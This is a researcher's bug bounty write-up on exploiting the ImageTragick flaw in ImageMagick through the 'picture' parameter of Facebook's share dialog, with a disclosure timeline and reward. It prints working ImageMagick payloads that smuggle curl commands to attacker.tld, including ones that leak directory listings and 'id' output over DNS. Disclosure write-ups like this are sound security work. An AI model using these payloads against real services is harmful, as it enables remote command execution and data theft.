I want to believe that all of you know about ImageMagick and its Tragick. This issue was found in the end of the April, 2016 and due to many processing plugins depends on the ImageMagick library this issue has a huge impact. Since there were evidences that information about this issue was available not only for researchers, who discovered it and ImageMagick’s development team, but also for others, on the 3rd of May, 2016 the information (without PoC) was disclosed. Many of researchers got this low-hanging fruit while discovering applications which were not updated in time. But for some unknowable reason i was not among them. But this was in May:)

Once upon a time on Saturday in October i was testing some big service (not Facebook) when some redirect followed me on Facebook. It was a «Share on Facebook» dialog:

https://www.facebook.com/dialog/feed?app_id=APP_ID&link=link.example.tld&picture=http%3A%2F%2Fattacker.tld%2Fexploit.png&name=news_name&caption=news_caption&description=news_descriotion&redirect_uri=http%3A%2F%2Fwww.facebook.com&ext=1476569763&hash=Aebid3vZFdh4UF1H

Which many of you could see. If we look closer we can see that a `picture` parameter is a url. But there isn’t image url on page content like mentioned above. For example:

https://www.google.com/images/errors/robot.png

becomes:

https://external.fhen1-1.fna.fbcdn.net/safe_image.php?d=AQDaeWq2Fn1Ujs4P&w=158&h=158&url=https%3A%2F%2Fwww.google.com%2Fimages%2Ferrors%2Frobot.png&cfs=1&upscale=1&_nc_hash=AQD2uvqIgAdXgWyb

First of all I thought about some kind of SSRF issue. But tests showed that url from this parameter requested from 31.13.97.* network by facebookexternalhit/1.1. Example:

nc -lvvv 8088 Connection from 31.13.97.* port 8088 [tcp/radan-http] accepted GET /exploit.png?ddfadsvdbv HTTP/1.1 User-Agent: facebookexternalhit/1.1 (+http://www.facebook.com/externalhit_uatext.php) Accept: */* Accept-Encoding: deflate, gzip Host: attacker.tld Connection: keep-alive

It looks like proper request from isolated server(s).

But in any case application converts image with some kind of converter and I started to dig deeper. After some tests of this parameter (one of my favorite, which brought me a lot of money - parse SVG, which is a XML by design, to get an SSRF issue from converter’s instance, which not always the same as server which requested image or, if I’m in big luck, to get an XXE issue.) i was disappointed. No ones fired. ImageTragick was last hope. Although I had no hope. If you are not familiar with this issue or lazy a bit - here is a PoC url.

Simple payload exploit.png:

push graphic-context viewbox 0 0 640 480 image over 0,0 0,0 'https://127.0.0.1/x.php?x=%60curl "http://attacker.tld/" -d @- > /dev/null`' pop graphic-context

Drumroll… and nothing happens.

$ nc -lvvv 80

Facepalm and Okay.

- But what if… if there is just some firewall restriction? - I asked myself.

Ok. It often happens when company blocked common requests but not DNS. Let’s try payload:

push graphic-context viewbox 0 0 640 480 image over 0,0 0,0 'https://127.0.0.1/x.php?x=%60curl "http://record_under_attacker_controled_ns_server.attacker.tld/" -d @- > /dev/null`' pop graphic-context

And result is:

IP: 31.13.*.*; NetName: LLA1-11 NAME: record_under_attacker_controled_ns_server.attacker.tld, Type: A

Whois of this IP said that:

netname: LLA1-11 descr: Facebook

Let’s begin the party :)

So, application's workflow is:

Gets `picture` parameter and requests it - this request is correct and not vulnerable

Received picture passes on converter's instance which used vulnerable ImageMagick library

To be honest I tried to find common way to exploit this http request but short tests shown that either all outbound ports are closed or I will spend a lot of time to find one that will be open. And I went another way which is sufficient for PoC.

Payload:

push graphic-context viewbox 0 0 640 480 image over 0,0 0,0 'https://127.0.0.1/x.php?x=%60for i in $(ls /) ; do curl "http://$i.attacker.tld/" -d @- > /dev/null; done`' pop graphic-context

And result was:

NAME: home.attacker.tld, Type: A NAME: boot.attacker.tld, Type: 28 NAME: dev.attacker.tld, Type: 28 NAME: bin.attacker.tld, Type: A …

and so on...

`id` shell command returned:

NAME: uid=99(nobody).attacker.tld., Type: 28 NAME: groups=99(nobody).attacker.tld., Type: A NAME: gid=99(nobody).attacker.tld., Type: A

For full proof that exploit works I provided Facebook security team with result of `cat /proc/version` output which is not going to publish here.

According to Facebook’s Responsible Disclosure Policy no steps deeper were taken.

Already after initial report we discussed with Neal from Facebook security team that `cat /proc/version | base64` could be more useful and some deeper research showed that `base32` is more commonly used for various techniques including DNS tunneling (see https://www.sans.org/reading-room/whitepapers/dns/detecting-dns-tunneling-34152).

I am glad to be the one of those who broke the Facebook.

That’s all:)

Timeline:

16 Oct 2016, 03:31 am: Initial report

18 Oct 2016, 05:35 pm: Actual PoC I used requested by security team member Neal

18 Oct 2016, 08:40 pm: I replied by sending a PoC and provided additional info

18 Oct 2016, 10:31 pm: Bug acknowledged by security team member Neal

19 Oct 2016, 12:26 am: Just heads-up by security team member Neal that fix is in the progress

19 Oct 2016, 02:28 am: Neal informed me that vulnerability has been patched

19 Oct 2016, 07:49 am: I replied confirming that the bug was patched and requested disclosure timeline

22 Oct 2016, 03:34 am: Neal answered about disclosure timeline

28 Oct 2016, 03:04 pm: $40k reward issued

04 Nov 2016: Reward paid through Bugcrowd payment system

16 Dec 2016: Disclosure approved